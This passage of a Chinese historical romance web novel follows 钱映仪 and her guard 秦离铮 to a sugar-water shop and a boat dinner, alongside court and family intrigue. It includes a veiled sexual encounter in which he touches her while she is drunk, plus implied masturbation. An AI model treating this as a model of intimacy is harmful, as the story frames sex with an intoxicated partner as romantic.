接连找了十来日,燕文瑛始终不见踪迹,蔺家那头因要照看日日发疯嚎叫的蔺玉湖,渐渐地,也消停了些,只每隔三五日派人往府署闹一闹。 此案终是没有牵连到钱家来,钱映仪在家中憋得受不住,终于趁这日用罢午膳后出了门。 今番她是打扮得又不一样。 穿着许珺给裁的新衣,墨黑色的长比甲薄薄一件,里头是汉白玉色立领斜襟长衫,下头一条缠枝提花缎褶裙。 银链子扎着细细一把腰,通身的伶俐之气遮也遮不住。 这回在家中待得太久,加之钱映仪本就是个爱往外头钻的性子,想及那马车也四四方方,生怕又给困住,便弃车步行,欢欢喜喜拔脚往市井里去。 走过石坝街,河岸两道满是绽开的荷花,钱映仪立在一截石磴上深深嗅一嗅荷香,喟叹道:“还是外头好。” 言罢,余光悄瞥同样一身墨黑的秦离铮,心中正舒畅,便歪过脸去问他,“你先前说的那个糖水铺在夫子庙哪里?带我去,我渴了。” 其实她出来连半个时辰都没过,在家中用午膳时更是与姐姐、姐夫饮过不少花茶,要说是渴,不若说是寻个借口同他讲话。 不防远远驶来一艘画舫,打老远就有个声音在喊她,“映仪!映仪!这儿!” 钱映仪回身够眼一瞧,竟是晏秋雁与温宁岚在画舫游玩,里头还有一班叫得出名字却不大熟悉的少爷小姐,钱映仪恍然忆起先前在生辰时与她说办了个什么诗社,想来里头的成员便是这一船人了。 画舫离得不近不远,晏秋雁隔着半截淮河与她讲话,“映仪!我和岚岚玩得正高兴呢,你要不要上来,我使个船夫派小船去接你!” 钱映仪对那诗社不大感兴趣,倒是有十来日没见过二人,想念得紧,当即期期艾艾把那头一望。 旋即又忍不住想,倘或她登画舫耍去了,独独丢下他在一旁,也不大好吧?瞧着他高高大大一个人,身手虽好,却不像会吟诗作对的样子 左思右想,她还是把手往唇边够一够,喊道:“我还有事,不去啦!你们好好玩儿!” 晏秋雁在那头好似朝她做了个鬼脸,也不强求,笑嘻嘻挽着温宁岚的胳膊钻进画舫里去了。 钱映仪方转过脸,洋洋得意瞧着秦离铮,那模样像在说——瞧,我对你够好吧?连朋友都舍弃了。 秦离铮莞尔,剑鞘戳一戳她的胳膊,抵着她往另一头走,“不是想喝糖水?我带你去。” 没几时绕过贡院,走夫子庙正门前过,往徐府街进去后便拐进了四福巷。 钱映仪跟在秦离铮身后走,路上不少百姓斜眼瞧她,她也不大在意。待行过半截路,秦离铮脚步顿停,目光望向她,“走了半日,累不累?往铺子里坐一坐?” 她仰脸去瞧,“春生糖水铺?这名字起得倒风雅。” 这时候糖水铺里走出个中年男人,一手擎着面团,一手牵着个四五岁的奶娃娃。 虽面容稍显可怖,语气却温柔,“爹与你说过多少回?没爹的允许,不许跟隔壁小朋友往河边去,不小心跌进河里,没人捞你,死了怎么办?” 那奶娃娃不当回事,一副小大人模样,一头柔软乌黑的发丝拢在头顶盘成一团,瘪一瘪嘴,“那溪溪玩什么?溪溪不喜欢玩石子。” 正说着,奶娃娃眼尖瞧见了钱映仪,似是觉得她腰间银链亮晶晶的,很是漂亮,便一指二人,咧嘴笑道:“爹,来客人啦。” 中年男人扭头望来,小姐是张生面孔,年轻人倒见过两回,便笑道:“小官人又来了,外头晒,要进铺子里坐一坐吗?” 旋即把奶娃娃抱去一旁坐着,搁下碗里的面团,往怀里摸了条长长的面巾覆在脸上,恐自己惊着客人。 钱映仪好奇往铺子里去,竟不见脏污,每一把长条凳都擦得锃亮。狭窄的铺子里除了制糖水的一应用具,四面墙上还挂了不少画,画上彩墨与黑墨交织,像是出自孩童之手,尤显童趣。 她不由自主伏腰坐下,指一指其中一幅画的公鸡,笑看那奶娃娃,“这是你画的吗?” 奶娃娃坐在一旁晃着两条腿,拍一拍鼓起来的肚子,“是我!” “她就是随手画画,我不好浪费画纸,干脆都挂在墙上,”中年男人递来一张单子,“这位小姐想喝点什么?” 他话虽如此说,钱映仪却看出他真正珍视的是女儿的童真画技,心头对这间糖水铺的好感更甚,随意点了碗冰镇五果汤,又问秦离铮,“你想吃什么?” 秦离铮稍稍摆手,“我喝水。” 钱映仪瘪一瘪唇,由他去了。 不一时,糖水搁在钱映仪身前,见她笑吟吟埋首品尝,秦离铮遂把目光渐渐掠向中年男人,默然片刻,倏道:“我来做过几回生意,还不知老板姓名。” 中年男人一顿,张了张嘴,方要说话,那奶娃娃便笑嘻嘻插嘴道:“我爹叫梁途,我叫梁溪照。” 秦离铮把下颌轻点,环视铺子一圈,状若不经意问,“这铺子租金贵不贵?我瞧河岸两头摆摊的摊贩生意极好,为何不去那头摆一摆?” 梁溪照复又接话,十分实诚,“因为我爹不想吓到别人囖!” 梁途拧一拧眉心,把她赶去外头玩,恐她再说出什么话来。 稍刻,才转身回铺子里,笑答:“小官人不知,容貌尚且是一回事,我做糖水的本事远不及旁人,收的价钱也比旁人便宜,若挤去河边做生意,不过三五日,我就得灰溜溜回来,倒不如在这巷子里守着一间铺子,风吹雨淋也能扛着,您也见着了,我还有个四岁半的女儿,她不大省心。” 秦离铮笑一笑,恐打草惊蛇让梁途逃了,遂收回交谈的心思,默然不语。 没几时,钱映仪用罢半碗糖水,在铺子里到底有些热,忙不迭就解下折扇给自己扇风。 秦离铮干脆起身付账,“您这儿的糖水不错,下一回我还来。” 继而引着钱映仪出了铺子。 钱映仪这番刚走不过半截路,顿觉有人在窥视自己,忙不迭狐疑睃寻四周,这一眼,就看见那梁溪照巷口偷偷瞧她。 想及嫂嫂也将要生出个软嫩可爱的小侄女,心头倏软,左右瞧见一个卖糖葫芦的小贩,便买了一串拿在手里,噙着笑朝梁溪照招一招手。 梁溪照果然高高兴兴过来,接过她的糖葫芦,也不说话,只拉着她的手往一头跑去。 半炷香的功夫,钱映仪气吁吁停下,抬头一望,竟是紧邻着夫子庙的应天府学的后门。 她稍稍弓身喘了两口气,看着舔糖葫芦的梁溪照,笑问,“你带我来这儿做什么呀?” 梁溪照在她裙边蹦蹦跳跳,“我觉得你很漂亮,我想与你做好朋友,既然是朋友,那我带你来这儿看一看也没什么哩。” 钱映仪问,“你想进府学念书?你爹可教过你识字?” 梁溪照得意拍拍胸脯,糖浆滚在她的嘴上像小小年纪抹了口脂,“我连诗都能背三百首啦!” 钱映仪讶然,“这么厉害?” “那是自然,”梁溪照笑眯眯嚼着山楂,把核吐在白嫩的掌心,斜眼去瞥比她高出不知多少的府学,道:“我时常往这一头来,听说里头有个大哥哥身份尊贵却不讨人喜欢,我远远瞧过两眼,的确不怎么样。” 这些话,自她嘴里说出来布满雄心壮志,又让人忍不住啼笑皆非,“我将来也要进这里头念书,不光是这儿,还有一旁的贡院,我听说人都在那考试,我也要在那考试,我将来要做女状元,惩恶扬善,做巡抚大官!” 钱映仪惊讶于她小小年纪已懂得不 少,微微一怔,抿唇笑道:“这志气,你爹晓不晓得?” 梁溪照掩着唇笑,“他不晓得,他常常夜里挑灯看书,我摸去他房里偷看过几回,你别回去告诉我爹呀。” 到底是个奶娃娃,没几时就岔开了话题,又拉着钱映仪的袖摆往一旁跑,要引她再去看看贡院。 一来二去的功夫,钱映仪竟与她在这一带玩过了半日。 直到那梁途在巷子里高声喊梁溪照,她才捧着钱映仪的脸亲了亲,旋即一面往巷子里跑,一面朝她摆手,“下回你还来啊,我喜欢同你耍,我回去与爹说,让他下回不收你的钱。” 钱映仪捋着裙摆蹲在石磴上,“噗嗤”一声笑出来,堆着笑与秦离铮讲话,“她真可爱,你说是不是?” 她耍了多久,秦离铮就默然在一旁等了多久。缓缓行至她身前,见四周无人,便把手朝她伸一伸。 钱映仪摆一摆手,“不必。” 怎知蹲得太久,两条腿渐渐发麻,她不得已又一把将手搭在他的胳膊上,登时神情紧张,做贼般往四周窥瞧,生怕给人瞧了去。 秦离铮自胸腔里振出两声笑,等着她缓过来的间隙里,便问,“太阳快落山了,回去?还是再去哪里转一转?” 钱映仪抿一抿唇,隐听淮岸玉笛笙歌,眼珠子刹那亮了亮,笑吟吟道:“去河边吧,那里热闹。” 于是待她双腿恢复力气能走路后,秦离铮顺手在巷子口买了盏兔子花灯,见天色稍暗,便点灯照着她的裙摆,并肩引她往河岸行去。 行至河岸,果真见一带闹哄哄的。两边楼宇复又崭新亮眼,食肆酒楼早已更换匾额,新开张的数不胜数。 钱映仪立在淮清桥上正犹豫不决,不知该往哪一间去。 这时迎面走来个芝兰玉树的年轻人,一把腰勒得细细的,穿一身湖绿轻纱直裰。一双含情眼扫来时,只在她身上稍作停留,继而望向她身后的青年。 褚之言也稍显意外,远远见着秦离铮险些泼口喊:“指挥!” 到底忍住了,舌尖硬生生在嘴里打了个转,堆出个笑跑来,“小铮,是你啊!” 秦离铮目露警告。 钱映仪把二人来回窥一窥,问秦离铮,“是你的朋友吗?” 怪哉,只听他说有仇家,今日却见着了他的朋友。钱映仪暗自在心里想,一双眼也悄悄去瞧年轻人。 褚之言见她打量自己,忙摆出正经姿态,俯首向她作揖,“这位是钱小姐吧?您没认错,我与小铮是好朋友,在下姓褚,名之言,钱小姐连名带姓唤我即可。” 钱映仪端端正正福身,抿了抿唇,没讲话。 秦离铮此刻想赶褚之言也不好再赶,只好清清嗓,问,“这一带的食肆酒楼都是新开的,你在河边待得久,可知哪一家更好?” 钱映仪讶然,望向褚之言,“褚小官人在河边做生意呢?” “开了家乐馆,不是什么正经呸,不是什么挣钱生意,”褚之言讪笑,“食肆酒楼?这一带的厨子像挤在一处受过训练,做出来的东西是一个味儿,要我说,不如包一艘船,河面上的生意向来争得厉害,吃食也讲究。” 听他开的是乐馆,钱映仪半幅身子躲在秦离铮身后,悄声道:“你这个朋友,是正经人吗?” 秦离铮忍俊不禁,勾着唇没应声。 褚之言的笑意僵在脸皮上,一指桥下的乌篷船,“试试呢,我没事也在船上躺一躺,吃食酒水都称得上不错的。” 到底刚打过照面,钱映仪与他不熟,也想早些脱开身,便把下颌轻点,旋裙下了桥,寻到个揽客的伙计,付过银钱要了艘乌篷船。 见她上了船,秦离铮才淡下笑,瞟一眼褚之言,目露警告。 继而招来那伙计,往怀里摸出半块银锭扔去,“把方才的银子退给她,借口你自己找。” 那伙计见他出手大方,忙不迭笑开了眼,没几时,就领着两个打杂的伙计呈上一应佳肴酒水,又与钱映仪道:“哎唷,我的天老爷,这位小姐可真是好运气,咱们东家这几日正给家里长辈做寿呢,排了一连串的号,说是每日第二十位坐船的客人不收分文,白送,小的就先祝您事事如意了!” 钱映仪稍有诧异,“我?” 伙计笑意更甚,“是哩,正是您,小的就先退下了,船夫也往岸边去了,与您一道的官人说他来摇橹,正在外头呢。” 钱映仪只好默然看着他退离了船舱。 她独坐船内,细细扫量四周陈设。 这乌篷船与画舫相比虽差一点,却也十分附庸风雅,一张长条矮几搁在正中间。刮了釉的窄口花瓶里插着几株晒干的荼蘼花,一旁角落里铺陈纸笔,彩墨诗册一应尽有,倒显用心。 船身轻晃,她挑帘望去,是他缓慢摇橹的背影。 他似有所感,回身冲她笑一笑,“再等等,此处船多,我绕去船少的地方。” 月光迷离,与河岸的波光交织在一起,映得他的眉眼益发柔和,钱映仪抿着唇笑,不知是为了羞还是什么,一言不发坐了回去。 半炷香的功夫,船身渐稳,四周只听得见河水轻晃的声音。 秦离铮弯腰打帘钻进船内,伏腰与她对坐,眼神悬在她的脸上,略一挑眉,“让你等,你就不吃不喝等着?” 钱映仪轻垂眼皮遮掩与他独处狭窄空间里的慌乱失措,忙摸着一个青花碗递进他的手里,“吃饭,等也等了半日,我都快没力气了,不许说话。” 继而自己也捧着碗,一时吃点清淡的时令蔬菜,一时挑些鸡鸭在嘴里轻咬。 与佳肴相配的是酿得醇香的梅子酒,钱映仪吃得有些口干舌燥,一杯接一杯喝了不少。 秦离铮跟着她细嚼慢咽,半开玩笑道,“这酒后劲大,你若醉倒在这,我就不管你了。” 钱映仪轻轻吐息,吃了半晌不觉得饿了,便把碗筷一搁,“我哪有这么容易醉?你只管吃你的,我喝我的,咱们互不干涉。” 好一个互不干涉。秦离铮垂首莞尔,他的胃口自然要比她大,故而依她而言,默然在一旁用饭。 钱映仪衔着酒杯不放,大约是有饮酒壮胆的缘故,她总觉得他今日过分老实。或许说,是从那次他倒进她的帐子里后,他就老实了许多。 她隐有预感,在这个船舱里,他会不会又亲一亲她? 她悄然给自己又倒了一杯梅子酒,借着饮酒的间隙去偷瞧他。他的吃相倒挺斯文,没什么声音,咬东西时,发硬的腮会缓慢挪动,她仿佛都能听见他牙关轻震的动静 “阿铮。” 秦离铮蓦然一顿,掀眼凝视她,“怎么了?” 钱映仪不知几时起放下了酒杯,托着腮盯着他,轻声道:“你能轻点咬吗?” “”秦离铮咽下最后一口吃食,给自己斟了杯清茶,入喉清凉,他的嗓音也清透不少,“什么叫轻点咬?” 钱映仪笑,“你这样咬,看得我也想咬你一口。” 秦离铮怔然。 钱映仪却仿佛只是随口一说,眼色往角落里的纸笔上瞧,刹那间就拿在了手里,转而命秦离铮往后坐一坐,自顾道:“你坐正些,我下手就稳些。” 下一刻,就随意碾了些彩墨,铺在矮几上描描画画,“我早就想这么干了,你画我的小像,我也要画你的,嘿嘿,浓浓的眉毛,高高的鼻子” “讨厌的两颗痣!”她笔下生风,画几笔就看一眼秦离铮,“还有细细的一把腰” “细细的腰” 眼见她是醉意陡生,秦离铮暗掐眉心,后悔不该这样纵容她。正要抬头劝阻,一张芙蓉面已然扑了过来。 钱映仪整个人跪趴在他身前,一手拿着画笔,有些朦胧的眼色落在他的腰间,倏然另一只手去解自己腰间的银链。 秦离铮把眉轻攒,立刻攫紧她的手腕,“做什么?” 钱映仪“啧”了声,不耐挣开他,自顾解下银链,旋即抛给他,“你、你把这个系在腰上,我看看有多好看。” 她拦在他身前,大有他不系上就不离开的架势。秦离铮闭了闭眼,顺从捡起银链往腰间绑。 岂知刚绕去身后,她倏然摇头,“不是这样,你得脱了衣裳系。” 秦离铮动作一顿,眼神游在她的脸上,“我若不肯,你是预备在这里把我扒光?” “嘁,”见他停了动作,钱映仪搁下画笔,瘪一瘪唇,一把夺回银链系上,“讨厌,还说什么都听我的。” “讨厌?讨厌谁?”见她要爬回去,秦离铮兜揽她的腰,往上一提,两具身躯便火辣辣地抵住了,“讨厌阿铮?” 他的气息总能令钱映仪发软,她软趴趴搂住他的脖子,不叫自己往一旁倒,摇了摇头,“不讨厌阿铮。” “那钱映仪喜欢阿铮吗?” 钱映仪把脸抬起来,似懂非懂地眨眨眼,“怎么样才叫喜欢?” 秦离铮暗勾唇畔,吐息带出一丝爱/欲,在半昏半明的船舱里,他打算诱哄着她说出来。 方要开口,她却比他更快。 钱映仪稍稍垂下眼,盯着他的唇,声音很轻,“每回被这里亲的时候,我总觉得连骨头都有些软,甚至连裙边都觉得湿漉漉的,这种感觉,算喜欢吗?” 短暂的惊愕让秦离铮失语。 钱映仪又道:“阿铮喜欢我吗?” 秦离铮闭眼,“喜欢。” 钱映仪也阖上眼,含糊说了句,“那我再找一找喜欢的感觉。” 转而捧着他的脸,对准那两片唇贴了上去。 她学着记忆里的模样亲他,小半截舌头在唇缝打转,呼吸绞缠时,她觉得他仿佛有些干渴,干脆先松开他,一口气喝了半杯梅子酒,继而大发善心赐给他,由他汲取。 秦离铮被她拨得呼吸都变得浓重,掐住她的后颈就欲拉开她。 钱映仪却一反常态搂着他的脖子不撒手,脸也埋进他的脖子里。 稍刻,哭腔渐响在他耳畔,“不太舒服” 秦离铮直至此刻才彻底后悔不该听褚之言的提议坐船,拉不开她,只好轻抚她的背,嗓音低得模糊不清,“哪里不舒服?” 钱映仪眼梢泄出的湿润打湿了他的一小片肌肤。 河面渐起凉爽微风,她细细的嗓音在风声里凶狠讨伐着秦离铮的心,“阿铮救救我。” 船舱一点暗光里,响起秦离铮叹息的声音。 外头不知何时下起了密密麻麻的雨。 半晌,他一手揽着她,一手往怀里抽了条干净的帕子递出船舱外接雨,旋即细致缓慢地把手的每一处都揩拭干净。 月色隐匿,他的目光牵出迷离,近近凝望着她微张的红唇,反客为主俯身,“好,我救你。” 手也顺势卷过她的裙摆。 海浪灼人,海水滴在他的掌心。 他垂眼盯着她近在咫尺的神情,目色益发晦暗。 钱映仪不由自主地口齿含混起来,“太慢了” 她的嗓音变得黏黏糊糊的。渐渐地,越来越兴奋,直到像忽然跌进个迅猛狂卷风暴的海浪里,身子刹那变得轻飘飘的,浑身都被浪打得失去力气。 她的身躯像在轻晃,目色也有些迷离,漂浮的双臂搂着身前可以搂住的一切,怔了半晌,才失神问,“下雨了么?” 良久,才有人沉沉应声,“嗯。” 耳畔的声音算不上冷静,却还沉稳,“早些回去睡,好不好?” 钱映仪阖着眼点头,“好,我要在天上飞,你会飞吗?带我飞回去。” 方才不过是一场阵雨,这时候又停了。秦离铮抹了把她眼角的泪花,没有答话,只自顾钻出船舱摇橹。 待船靠岸,便一把捞起酣睡的她,暗自运起内力,一路避开人群,踏着片片青瓦回了钱宅。 甚至进云滕阁时,都带着她走他一惯爱翻的西窗。 也许是嗅到熟悉的零陵香,钱映仪埋在矮榻上动了动,恍惚见到个高大的身影,便笑,“谢谢你呀,往外头领赏钱去吧,找那个穿粉红比甲的丫鬟。” 竟还把他当做外头的伙计了? 秦离铮默然盯着她,暗自磨了磨牙关。想照着那半截白嫩的脖子重重咬一口。 片刻,还是不与她计较。翻出料子剪了半截下来挂在臂弯,转而捞起她的身子,转去了存放温水的山水屏风后。 下一瞬,拿半截料子覆盖住眼睛,抚着她歪歪软软的身子去解她的银链,比甲,裙带。 顶着夜色翻出她的闺房时,已过去不知几时。秦离铮深深吸气,握着帕子一言不发踅回寝屋。 他被她带得一身酒气,也该洗洗。 坐在冷水里,他仰头欹在浴桶边缘,先前替她擦拭过的帕子还在桶缘搭着。 就不该纵容她饮酒,明知她饮酒后会益发亲近人。她明日醒来还会记得吗?还是像上回那样忘得干干净净。倘或她记得,会不会 秦离铮重重吐息,阖紧眼的瞬间不由自主地想起那一抹丝滑的手感和掌心陡然像泡进了温泉里的感觉。 他陡然抓起帕子。 银釭里的烛火逐渐变暗,消失了半夜的月复又探出云层,光秃秃的墙面斜斜映出秦离铮的影。 不断起伏的手臂拉得影子在轻颤,像在完成许许多多个迤逦的梦,比每一回都完成得要慢一些,但梦堆积在一起时,呼吸比每一回都要急促,也比每一回都爆发得多—— 作者有话说:唉我这个手,每次写到压抑情节时就在疯狂呐喊: 死手!快切换恋爱频道! 审核大人我真没招了该删的都删了绝对没有再写别的啊[爆哭]《 》 35-40 第36章 莺雀鸣啼,蝉声如管弦,阳光斜斜透过窗隙浮在屋子里,半束光里的细微尘埃跳一跳,帐内人影也跟着动了动。 钱映仪惺忪掀眼,俏丽的脸上堆满意犹未尽之色,像在梦里跌进个宝石窟里,舍不得醒来。 扭头看着那束光发怔片刻,昨夜在船上吃酒作画的记忆霎时席卷进脑海里。她昨夜亲了他,还还扬言要他赤身绑银链?! 钱映仪张了张嘴,蓦然一个猛子把自己埋进被衾里。 只稍刻,复又坐起身,惊愕慌张把自己瞧一瞧。她昨夜回来几时洗漱过了? 钱映仪眼色游移,滚了滚咽喉,干涩的嗓音在帐子里响起,“夏菱,夏菱!” 夏菱忙不迭应声,数息功夫就推开进来。 钱映仪木怔怔盯着她,“我昨夜” “昨夜?”夏菱歪一歪头,笑道:“昨夜是他把您送回来的,至于几时回的,要说个准时候,奴婢也不知,奴婢教几个丫头做活回来就见屋子里亮着光,就推门进来了,小姐那时正趴在案上睡呢。” “你替我洗过了?” 夏菱点点下颌,“是哩,我瞧水凉了,换了桶热腾腾的,与春棠两个替小姐洗了洗。” 旋即跑来替钱映仪挽帐,少不得要啰嗦两句,“小姐昨夜怎可与他一起饮酒?万一他他起坏心,小姐该怎么办?” 钱映仪仿佛脑子还有些迷醉,捂额半晌,虚浮踩鞋下榻,“无妨,你见我时我不是好好的?” 鸣蝉交唱,花间戏蝶。钱映仪盘腿往榻上坐,阳光自她身侧打下来,落在她白皙无瑕的腮畔,她一口口咽下夏菱端来的早膳,倒觉清爽不少。 于是搁置碗筷后,她复又坐不住,捉裙下榻往外头去。 打转到院子里时,正巧瞥见那抹高大的身影立在树下,稍稍弓身,正拿麻绳一圈圈缠着秋千架上的木板。钱映仪想及昨夜自己主动亲他,有些羞,转念又想——羞什么?她能亲他,他就偷着乐吧。 因此,她拒不把那 抹羞意表现出来,装成无事发生过,轻步行至他身后,歪着脸透过他的臂膀往秋千上瞧,“你手真巧。” 岂知秦离铮手一松,麻绳“啪嗒”一声跌落在地,浮起细细的尘埃。很快,他又将那些尘埃踩在脚下,甚至没转过脸来瞧她一眼,“我去园子里摘花。” 钱映仪一怔,跟着他往外走,快转到大花园时,她在墙根下往前追了两步,“你站住!” 那抹背影顿停,他仍旧听她的话,她说往西,他便不再往东。 浓荫密匝,嫩黄的杏果扑通坠地,钱映仪捡起一个扔向他,见他无甚反应,心头好似长了张嘴出来,把杏咬在那嘴里,甜丝丝里带着抹不开的酸。 她振着裙摆绕去他身前,“你在躲我?” 秦离铮的目光不敢在她脸上多做停留,“没有,我为何要躲你?” 钱映仪狐疑,“那你跑这么快做什么?” 又一个杏果“噔噔”一声落下来,钱映仪想起那个醉意迷离的吻,虽已记不清后来发生过什么,此刻也似被蒙头一敲,气焰渐渐消散下来,生硬扭转话锋,“我的意思是,你等等我,我同你一道来摘花,你怎知我要什么品种?” 秦离铮静看她片刻,点点下颌,又一惯让她先走,“好。” 芳菲时节,花卉四下绽放。 钱映仪扭扭捏捏挎篮摘花,抬头往身后窥一窥,他手中那个篮子里躺满了她平日钟爱的品种,心头倏地又被甜丝丝的滋味填满。 满金陵烈日灼人,钱映仪却不觉有多炎热。 俄延至下晌,便与小丫鬟们一齐绑好鲜花在秋千上,率先捉裙坐上去轻荡。 太阳钻过树隙化作斑驳的光影,扑在她端着兴兴神情的脸上,小丫鬟一推,她便噗嗤笑一笑。 好似她纯粹单纯的心就那么点大,往里头随意塞点东西就能哄得她高兴满足。 秦离铮远远站在院外,目光透过攒动人头精准抓住她。她个子算不得太高挑,却也不矮,穿着酂白色立领长衫,淡粉的长比甲,扎着细细一串珍珠腰链。 往上荡时,比甲上的柳叶刺绣像附注进灵魂,刹那活过来了似的,落回原地时,裙褶漾波复又往收拢。裙褶 “这秋千做得真不错,”小玳瑁不知几时出现在身侧,朝他挤眉弄眼,“也教教我呗,我手太笨了,回头我与春棠成婚,我也做一架讨她欢心。” 秦离铮蓦然回神,紧握剑鞘的指骨微突,深深吸一口气,遏制自己不再凝视那头的风景,“回头再说。” 转而带着疯涨在心头的罪恶感离去。 这一抹罪恶感禁锢着他,直至夜深人静,收到褚之言的信号,与其碰了面谈起正事,方暂时压制下去。 褚之言蹲在钱宅一处偏僻角落的墙头,吃痛捂着脑袋笑,“打我作甚?我昨夜替你二人制造的机会难道不好?” 秦离铮面色冷淡至极,“查到什么眉目了?” 褚之言笑了下,利落跃下墙头,取下腰间折扇晃一晃,道:“你可知蔺边鸿的太太,就是那荀芸,为何敢如此闹上一通?” “她啊,”褚之言散漫的声线里又喧出隐秘,“早年是从京师嫁过来的,她爹那时候在五城兵马司只是个小小的吏目,蔺边鸿也只是个普普通通上京师赶考的生员,她爹见蔺边鸿相貌还算周正,言谈举止自有才气,便豪赌一把,把荀芸嫁给了他。” “后来”褚之言以扇遮脸,悄瞥秦离铮一眼,“后来她爹在五城兵马司升官,做了七品副指挥,碰上恒王谋逆,误打误撞在皇城救了彼时还是个洒扫太监的常容一命,因着这份恩情,荀芸她爹因病离世后,常容便认了她为干女儿。” “有秉笔太监做干爹,你说她能不猖狂吗?”褚之言道:“总算明白这常容为何会与蔺边鸿通书信,又为何成为他们在京师的庇护伞了。” 秦离铮已能平静面对当年由恒王谋逆挑起的惨痛。月色溶溶,树影摇晃,映得他的脸神秘莫测,“安排引常容倒台的事,办得如何了?” 褚之言点点头,“苏州织造局半月前运送出一批云锦入皇城,咱们的人在京师城外蹲守,暗自将一部分换成了低劣的苎麻,皇上必然会赏一份给司礼监。” “常容这人最会做面子上的功夫,必然也会从指头缝里露一点下去,常容有个徒弟早已想取而代之,经咱们的人点拨,他会唱一出戏,故意揭开那些苎麻责问,露出里头的明黄料子。” 他笑得阴仄仄的,“皇城里最不缺的就是一张嘴,谣言一但散开,常容私藏龙袍的消息就瞒不住。” “管他与金陵这班官员暗中勾结贪墨了多少,在如此致命的僭越面前,也不值一提了。” 秦离铮仰首窥向半空中的弯月,“可惜,他要倒台的消息暂且还传不到金陵来,荀芸不是自持是他的干女儿?等着看吧,迟迟寻不到燕文瑛的下落,她不会放过燕家的。” 。 “还想让我放过她?”融融夏日,蔺家用来议事的屋子里头搁着一大块冰,一位美妇坐在榻上,眼梢里流露出傲慢与轻蔑。 说美,眼角眉梢却也隐不了疲态,只是竭力维持着体面,说起话时满头琳琅跟着撞响,镶宝石的金簪,镶珠的金耳坠,好似都在无声喧嚣着她的轻狂。 正是那荀芸。 荀芸乜着眼前的燕榆夫妻,冷冷的笑音有一股阴沉沉的死感,“你们养的好女儿,把我儿弄得人不像人,鬼不像鬼,想让我放过她?做梦!” 好似蔺玉湖不再是个完整的人,她也如从前那个见人逢迎笑的蔺太太变成了恶鬼罗刹。 因燕如衡几回登门都被荀芸赶了出来,燕榆与王采苓不得不又亲自拜访蔺家。 王采苓少不得掐着帕子哭,转去榻上拉她的胳膊,“好姐姐,你我一家亲的呀,瑛瑛做下这样的事,我也气坏了身子,我虽没在你跟前,却也在家里头跟着你急,若能找着她,我定狠狠教训她,使婆子押她回来认错。” “可是真要将瑛瑛下狱,你那未出世的孙儿怎么办?”王采苓道:“朝廷定下的律例严明,若判了瑛瑛的罪,她少不得要流放三千里,她在明面上是那孩子的母亲,好姐姐,你真想叫那孩子日后长大成人连官都做不得?” “放你娘的屁!”荀芸愈听愈恼人,一把推她下榻,堵在胸口的气半晌都顺不下来,刹那顺手握着杯盏向闷不吭声的蔺边鸿砸去,“你个没出息的废物!你倒是说句话!” 蔺边鸿叫她砸得往一头歪一歪,半晌挤出一抹笑,扭头望向燕榆,“燕兄,这事我怎么瞧,都觉着无法善了。” 燕榆心中一咯噔,忙道:“能善了的!能善了的!我与阿苓今日登门正是为赔罪。” 旋即把手一抬,几个指节并拢在脸旁,“我们夫妻两个今儿就立誓,无论那孽女是死是活,待寻到她,定用绳子绑了来认罪,玉湖那孩子从此也是我们亲生的,他膝下那还未出世的孩儿,我们夫妻也当作是亲生外孙。” 他复又转脸去瞧荀芸,努力堆出笑,“话说到这份上,哪怕就把那孽女当作仇人,也让她留在玉湖身边用一世来赎罪,请不要再闹上衙门,更不要闹去朝廷,不要拿律例治她的罪,咱们还是亲家,成吗?” “燕榆!” 荀芸气得连连捶榻,“你滚出去!” 王采苓又哭哭啼啼上前央求她。 “蔺边鸿,你是个死的吗!”荀芸推开她,抬着一双发恨涨红的眼看着蔺边鸿,“就由着他们这样糟践你儿子?” 这番话听得蔺边鸿也有些忍不下去, 他起身掣着燕榆的袖摆,暗自劝自己不要与他闹开,“燕兄,此事且容我与阿芸再商议,毕竟我儿子没落着一点好,你女儿倒是一拍屁股遁地不见了,她断的可是我蔺家的香火。” 有些话,一旦说出口,也没那么容易再收场。蔺边鸿揉了揉先前被杯盏砸疼的肩,道:“你自己的香火也断了,想必能体谅我,先回吧。” 燕榆蓦然一顿,仿佛被戳中痛处,厉色看向他,眸色里闪过几抹不可置信。 好似在惊诧蔺边鸿是如何得知他的隐秘。 他蓦地吼了两声,“咱们握手这么多年,你一直防着我?暗自盯着我?” 言罢,猛然一扯,把那半截袖摆自蔺边鸿手中拽出。 蔺边鸿被他吼得脾气猛然爆发,干脆不再忍,厉声道:“咱们贪下的那些银子,你总要比我多拿一点,我盯着你怎么了!怎么,戳到你痛处了?你也知断了香火的滋味不好受?怎地到了我儿身上就是不值一提,要轻轻揭过了?” “那也是你儿子先在外头胡乱狎妓点的火引子!” 燕榆咬着牙,狰狞面色似要生吞活剥了面前的蔺边鸿,“你又怎么不细细检算,他二人成婚至今闹过多少次!你敢说你这个做爹的一点责任都没有么?要我说,这事儿他自己也占一半的责任!” 蔺边鸿登时窜到他眼前,扬起拳头就要打他,不防被荀芸给出声拦停。 荀芸冷眼扫过燕榆,歪着嘴笑,“可看明白了?人家的心思总算袒露出来了。” 蔺边鸿气喘半日,倏然冷静下来,面色益发地沉,想及荀芸远在京师的干爹尚且还在,缓缓后退两步望向燕榆,“你说得对,既儿女不对付,咱们也从此就丢开手,下了船,各走各的道吧!” 燕榆哼笑出声,指一指他,“你别后悔!” 旋即拉着王采苓一并拔脚出去。 剩荀芸倒在榻上急喘着气,半晌阴气森森笑出声,“闹开了?闹开了好,早该如此!傻愣着做什么?我看那江南巡抚也是个空架子,你还不趁此机会写信给干爹,求他把案子转述给皇上听。” 她低垂着脑袋,尖锐的嗓音里夹着哭腔,“闹开了好啊,我偏要燕文瑛死!” 铄石流金,酷热天气依旧,燕蔺二家的事闹过几日就渐渐没了动静,分明是夏日,两家之间的暗流却仿佛淬着冰。 只待风雨降临,便凶狠把这条已然崩裂的口子划开,再暗自斗个死去活来。 倒是这厢眼见肚子一天天大,任郁青心中稍显惆惘,免不得睡前与丫鬟埋怨起远在扬州的钱林野,“你说,官人这一去就是这么久,还不知我生产时,他能不能赶回来呢。” 丫鬟笑着宽慰,“奶奶放心,凭大少爷有什么要紧的公事,扬州与咱们又离得不算太远,他定能回来的。” 任郁青本也是个柔顺的性子,抚一抚发硬的肚皮,便暂且放下心睡去。 次日午憩醒来,格外想喝糖水,便使个丫鬟去请钱映仪来跟前,一见妹妹,任郁青便羞赧一笑,“都怪你侄女馋,我这时又想喝你先前带与我的糖水了。” 钱映仪乐呵呵点头,声音放得很轻很软,伏腰与她的肚皮说话,“是你馋,还是你娘馋呀?” 